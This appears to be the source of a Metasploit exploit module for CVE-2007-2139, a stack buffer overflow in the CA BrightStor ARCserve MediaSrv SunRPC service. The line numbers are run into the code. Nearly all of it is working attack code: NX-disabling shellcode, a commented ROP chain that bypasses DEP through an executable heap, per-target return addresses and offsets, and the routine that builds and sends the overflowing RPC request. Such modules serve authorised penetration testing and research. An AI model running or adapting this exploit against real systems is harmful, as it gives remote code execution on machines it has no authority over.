Path: blob/master/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::SunRPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',15'Description' => %q{16This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA17BrightStor ARCserve. By sending a specially crafted SUNRPC request, an attacker18can overflow a stack buffer and execute arbitrary code.19},20'Author' => [ 'toto' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2007-2139'],24[ 'OSVDB', '35326' ],25[ 'BID', '23635'],26[ 'ZDI', '07-022'],27],28'Privileged' => true,29'Platform' => 'win',30'Payload' => {31'Space' => 0x300,32'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",33'Prepend' =>34# Disable NX on 2k3 to upload data on the stack35# (service crashes if the stack is switched to the heap)36"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB37"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 538"\x75\x30" + # jnz after39"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 240"\x75\x27" + # jnz after41"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)42"\x76\x1b" + # jbe after43"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]44"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe030045"\xb8\xed\x00\x00\x00" + # mov eax, 0xed46"\x6a\x04" + # push 447"\x51" + # push ecx48"\x6a\x22" + # push 2249"\x6a\xff" + # push -150"\x6a\xff" + # push -1 (padding)51"\xff\x12", # call dword ptr[edx]52'StackAdjustment' => -10000,5354},55'Targets' => [56['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715, 'Off' => 0x304 } ],57['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715, 'Off' => 0x300 } ],58['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],59],60'DisclosureDate' => '2007-04-25',61'DefaultTarget' => 0,62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def exploit72sunrpc_create('tcp', 0x6097e, 1)7374if target.name =~ /NX/75# summary:76#77# 1) get the payload address78# 2) copy the payload into a fixed buffer (data section)79# 3) allocate an executable heap buffer (to bypass NX)80# 4) copy back the payload into the heap81# 5) jmp to the payload in the heap82#83# step 1: jmp arround the atoi pointers84#85# add esp, 20h86# retn87#88# step 2: get a pointer to the stack in ecx89#90# xor eax, eax91# mov ecx, dword ptr fs:[0]92# cmp dword ptr [ecx+4], offset __unwind_handler93# jnz end94# [...]95# end:96# retn97#98# step 3: mov the stack pointer in eax99#100# mov eax, ecx101# add esp, 20h102# retn103#104# step 4: set fffff824h in esi105#106# pop esi107# retn108#109# step 5: add esi to eax (eax points to the payload in the stack)110#111# add eax, esi112# pop esi113# retn114#115# step 6: set edi to a buffer we can write (6d515301h)116#117# pop edi118# retn119#120# step 7: copy the payload to the buffer121#122# push eax123# push edi124# call _strcpy_0125# pop ecx126# pop ecx127# retn128#129# step 8: set ecx to ffffffh130#131# pop ecx132# retn133#134# step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)135#136# mov eax, ecx137# add esp, 20h138# retn139#140# step 10: create an executable heap141#142# push 0143# cmp [esp+4+arg_0], eax144# push 1000h145# setz al146# push eax147# call ds:HeapCreate ; create a new heap (executable for NX)148# test eax, eax149# mov hHeap, eax150# jz short loc_6d5071b5151# call ___sbh_heap_init152# test eax, eax153# jnz short loc_6d5071b8154# push hHeap155# call ds:HeapDestroy156# loc_6d5071b5:157# xor eax, eax158# retn159# loc_6d5071b8:160# push 1161# pop eax162# retn163#164# step 11: Allocate a new heap buffer (size 01060101h)165#166# push hHeap167# call ds:HeapAlloc168# pop edi169# pop esi170# retn171#172# step 12: set esi to the buffer containing the payload (6d515301h)173#174# pop esi175# retn176#177# step 13: copy the payload to the heap (executable)178#179# push esi180# push eax181# call _strcpy_0182# pop ecx183# pop ecx184# pop esi185# retn186#187# step 14: go to the heap188#189# call eax190#191# step 15:192# if 2k3 the prepend data disables NX to upload and execute193# data on the stack194#195# step 16: w00t!196197data = Rex::Text.rand_text_alphanumeric(0x600)198199# ret 1200data[0x100, 4] = [ 0x6d5010e4 ].pack('V')201202# used to store the result of atoi203data[0x108, 4] = [ 0x6d51652b ].pack('V')204data[0x10C, 4] = [ 0x6d51652b ].pack('V')205data[0x110, 4] = [ 0x6d51652b ].pack('V')206data[0x114, 4] = [ 0x6d51652b ].pack('V')207data[0x118, 4] = [ 0x6d51652b ].pack('V')208data[0x11C, 4] = [ 0x6d51652b ].pack('V')209210# ret 2211data[0x124, 4] = [ 0x6d50b27a ].pack('V')212213# ret 3214data[0x128, 4] = [ 0x6d5010e2 ].pack('V')215216# ret 4217data[0x14C, 4] = [ 0x6d50aa6d ].pack('V')218data[0x150, 4] = [ 0xfffff824 ].pack('V')219220# ret 5221data[0x154, 4] = [ 0x6d50aa6b ].pack('V')222223# ret 6224data[0x15C, 4] = [ 0x6d5057a0 ].pack('V')225data[0x160, 4] = [ 0x6d515301 ].pack('V')226227# ret 7228data[0x164, 4] = [ 0x6d50b938 ].pack('V')229230# ret 8231data[0x178, 4] = [ 0x6d502df0 ].pack('V')232data[0x17C, 4] = [ 0xffffffff ].pack('V')233234# ret 9235data[0x180, 4] = [ 0x6d5010e2 ].pack('V')236237# ret 10238data[0x1a4, 4] = [ 0x6d507182 ].pack('V')239240# ret 11241data[0x1a8, 4] = [ 0x6d505c2c ].pack('V')242data[0x1ac, 4] = [ 0xffffffff ].pack('V')243data[0x1b0, 4] = [ 0x01060101 ].pack('V')244245# ret 12246data[0x1bc, 4] = [ 0x6d50aa6d ].pack('V')247data[0x1c0, 4] = [ 0x6d515301 ].pack('V')248249# ret 13250data[0x1c4, 4] = [ 0x6d50f648 ].pack('V')251252# ret 14253data[0x1cc, 4] = [ 0x6d506867 ].pack('V')254255data[0x260, payload.encoded.length] = payload.encoded256257else258data = Rex::Text.rand_text_alphanumeric(0xA64)259off = target['Off']260261data[off, payload.encoded.length] = payload.encoded262data[off + 0x73c, 2] = "\xeb\x06"263data[off + 0x740, 4] = [ target.ret ].pack('V')264data[off + 0x744, 5] = "\xe9\xb7\xf8\xff\xff"265end266267data = "_" + data + "_1_1_1_1_1_1_1_1_1"268269request = Rex::Encoder::XDR.encode(1, 1, 2, 2, 2, data, 3, 3)270271print_status("Trying target #{target.name}...")272273begin274ret = sunrpc_call(0xf5, request)275select(nil, nil, nil, 20)276rescue277end278279sunrpc_destroy280281handler282disconnect283end284end285286287